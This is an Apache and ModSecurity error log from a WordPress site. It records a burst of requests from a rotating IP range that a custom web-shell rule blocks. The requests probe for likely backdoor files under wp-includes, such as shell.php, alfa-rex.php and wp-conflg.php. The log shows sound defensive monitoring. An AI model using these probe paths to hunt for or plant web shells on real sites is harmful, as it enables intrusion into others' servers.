[Wed Apr 15 04:52:40.433965 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.146:51083] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "ad6pGK3iO9_fE_IQEMkLXwAAAQM"]
[Wed Apr 15 04:52:41.980425 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.150:45183] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about5.php"] [unique_id "ad6pGR15U5D-N99n_jJiJAAAANM"]
[Wed Apr 15 04:52:49.752733 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.144:37969] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/db.php"] [unique_id "ad6pIQWArgJTHu2_6Oy4fgAAAAU"]
[Wed Apr 15 04:52:53.726121 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.174:45359] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "ad6pJR15U5D-N99n_jJiPQAAAM8"]
[Wed Apr 15 04:52:59.002600 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.251:25967] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "ad6pK63iO9_fE_IQEMkLkgAAAQ8"]
[Wed Apr 15 04:53:00.919160 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.175:34309] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "ad6pLK3iO9_fE_IQEMkLmQAAARI"]
[Wed Apr 15 04:53:01.385477 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.180:43491] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "ad6pLR15U5D-N99n_jJiWwAAAME"]
[Wed Apr 15 04:53:05.227150 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.131:52467] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "ad6pMR15U5D-N99n_jJiZQAAANU"]
[Wed Apr 15 04:53:09.526735 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.169:62401] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "ad6pNYC2YXfSPsC9O_BXUAAAAFE"]
[Wed Apr 15 04:53:10.283295 2026] [:error] [pid 4067:tid 4147] [client 45.131.195.120:62865] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/about.php"] [unique_id "ad6pNu5XHBJU8ZrRxZ0ibwAAAJA"]
[Wed Apr 15 04:53:12.852878 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.155:23443] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "ad6pOK3iO9_fE_IQEMkLvgAAARI"]
[Wed Apr 15 04:53:13.282982 2026] [:error] [pid 4067:tid 4146] [client 45.131.195.144:28351] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/simi.php"] [unique_id "ad6pOe5XHBJU8ZrRxZ0ikAAAAI8"]
[Wed Apr 15 04:53:18.533630 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.170:20441] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "ad6pPh15U5D-N99n_jJijgAAANY"]
[Wed Apr 15 04:53:21.150334 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.180:24005] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "ad6pQe5XHBJU8ZrRxZ0i0wAAAIE"]
[Wed Apr 15 04:53:21.592540 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.175:48255] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "ad6pQR15U5D-N99n_jJimAAAANA"]
[Wed Apr 15 04:53:22.034487 2026] [:error] [pid 4066:tid 4111] [client 45.131.195.169:52231] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "ad6pQoC2YXfSPsC9O_BXVwAAAEc"]
[Wed Apr 15 04:53:25.785379 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.171:56649] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "ad6pRa3iO9_fE_IQEMkL4QAAAQc"]
[Wed Apr 15 04:53:29.580470 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.136:58367] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "ad6pSR15U5D-N99n_jJivQAAAME"]
[Wed Apr 15 04:53:33.130575 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.159:44057] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "ad6pTa3iO9_fE_IQEMkL6wAAAQg"]
[Wed Apr 15 04:53:34.909419 2026] [proxy_fcgi:error] [pid 4065:tid 4092] [client 45.131.195.191:33079] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/gigfrag/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/gigfrag/public_html/wp-admin/includes/admin.php on line 16'
[Wed Apr 15 04:53:36.891340 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.156:47367] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "ad6pUK3iO9_fE_IQEMkL8AAAAQU"]
[Wed Apr 15 04:53:51.777842 2026] [:error] [pid 4067:tid 4154] [client 45.131.195.151:60663] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugin.php"] [unique_id "ad6pX-5XHBJU8ZrRxZ0jBQAAAJc"]
[Wed Apr 15 04:53:52.493542 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.159:24667] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "ad6pYB15U5D-N99n_jJjEgAAANM"]
[Wed Apr 15 04:53:56.304396 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.176:32819] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "ad6pZB15U5D-N99n_jJjHwAAAMc"]
[Wed Apr 15 04:54:03.318379 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.184:32569] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "ad6pa63iO9_fE_IQEMkMLwAAARE"]
[Wed Apr 15 04:54:07.119617 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.191:25169] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/litespeed.php"] [unique_id "ad6pbx15U5D-N99n_jJjPwAAANU"]
[Wed Apr 15 04:54:10.970323 2026] [:error] [pid 4065:tid 4093] [client 45.131.195.136:48349] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "ad6pcgWArgJTHu2_6Oy4zwAAABE"]
[Wed Apr 15 04:54:13.218372 2026] [:error] [pid 4067:tid 4147] [client 45.131.195.140:35405] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "ad6pde5XHBJU8ZrRxZ0jIAAAAJA"]
[Wed Apr 15 04:54:15.535071 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.185:32177] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "ad6pd63iO9_fE_IQEMkMQAAAAQk"]
[Wed Apr 15 04:54:22.382634 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.186:64765] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "ad6pfq3iO9_fE_IQEMkMUgAAARQ"]
[Wed Apr 15 04:54:27.472015 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.150:45751] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "ad6pg63iO9_fE_IQEMkMYgAAARQ"]
[Wed Apr 15 04:54:27.918007 2026] [proxy_fcgi:error] [pid 4065:tid 4091] [client 45.131.195.126:50451] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:54:28.153518 2026] [:error] [pid 4065:tid 4099] [client 45.131.195.126:50451] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/shell.php"] [unique_id "ad6phAWArgJTHu2_6Oy42wAAABc"]
[Wed Apr 15 04:54:28.579885 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.115:23845] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "ad6phK3iO9_fE_IQEMkMZQAAAQQ"]
[Wed Apr 15 04:54:32.540109 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.121:35643] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "ad6piB15U5D-N99n_jJjdgAAAMg"]
[Wed Apr 15 04:54:32.965403 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.119:59981] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "ad6piK3iO9_fE_IQEMkMdwAAAQ0"]
[Wed Apr 15 04:54:44.726028 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.115:58661] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-2019.php"] [unique_id "ad6plK3iO9_fE_IQEMkMpwAAAQg"]
[Wed Apr 15 04:54:46.198093 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.145:22393] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "ad6plq3iO9_fE_IQEMkMrgAAARQ"]
[Wed Apr 15 04:54:48.469074 2026] [:error] [pid 4169:tid 4192] [client 45.131.195.169:37525] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/log.php"] [unique_id "ad6pmB15U5D-N99n_jJjiQAAANI"]
[Wed Apr 15 04:54:48.920256 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.165:60667] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "ad6pmK3iO9_fE_IQEMkMvQAAAQk"]
[Wed Apr 15 04:54:50.444507 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.197:37991] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "ad6pmu5XHBJU8ZrRxZ0jPQAAAIE"]
[Wed Apr 15 04:54:50.891608 2026] [:error] [pid 4067:tid 4144] [client 45.131.195.115:32069] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/aw.php"] [unique_id "ad6pmu5XHBJU8ZrRxZ0jPgAAAI0"]
[Wed Apr 15 04:54:57.668096 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.119:30661] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/db.php"] [unique_id "ad6poa3iO9_fE_IQEMkM4wAAAQg"]
[Wed Apr 15 04:54:58.098943 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.141:32875] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/install.php"] [unique_id "ad6poq3iO9_fE_IQEMkM5AAAARE"]
[Wed Apr 15 04:55:01.620608 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.151:52281] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/install.php"] [unique_id "ad6ppR15U5D-N99n_jJjnwAAAMM"]
[Wed Apr 15 04:55:02.069614 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.129:57287] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "ad6pph15U5D-N99n_jJjoAAAAMc"]
[Wed Apr 15 04:55:05.886841 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.195:61873] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/template-less.php"] [unique_id "ad6pqR15U5D-N99n_jJjqAAAAMs"]
[Wed Apr 15 04:55:06.315026 2026] [:error] [pid 4169:tid 4198] [client 45.131.195.251:30227] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "ad6pqh15U5D-N99n_jJjrwAAANc"]
[Wed Apr 15 04:55:17.724753 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.191:21409] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/min.php"] [unique_id "ad6ptR15U5D-N99n_jJj4QAAANE"]
[Wed Apr 15 04:55:18.439545 2026] [:error] [pid 4067:tid 4139] [client 45.131.195.119:57553] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "ad6ptu5XHBJU8ZrRxZ0jaAAAAIg"]
[Wed Apr 15 04:55:22.380087 2026] [:error] [pid 4066:tid 4123] [client 45.131.195.136:57867] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/file.php"] [unique_id "ad6puoC2YXfSPsC9O_BX0wAAAFM"]
[Wed Apr 15 04:55:25.283289 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.174:28919] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "ad6pvR15U5D-N99n_jJj5wAAANM"]
[Wed Apr 15 04:55:29.135404 2026] [:error] [pid 4169:tid 4178] [client 45.131.195.185:42255] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/load.php"] [unique_id "ad6pwR15U5D-N99n_jJj7AAAAMY"]
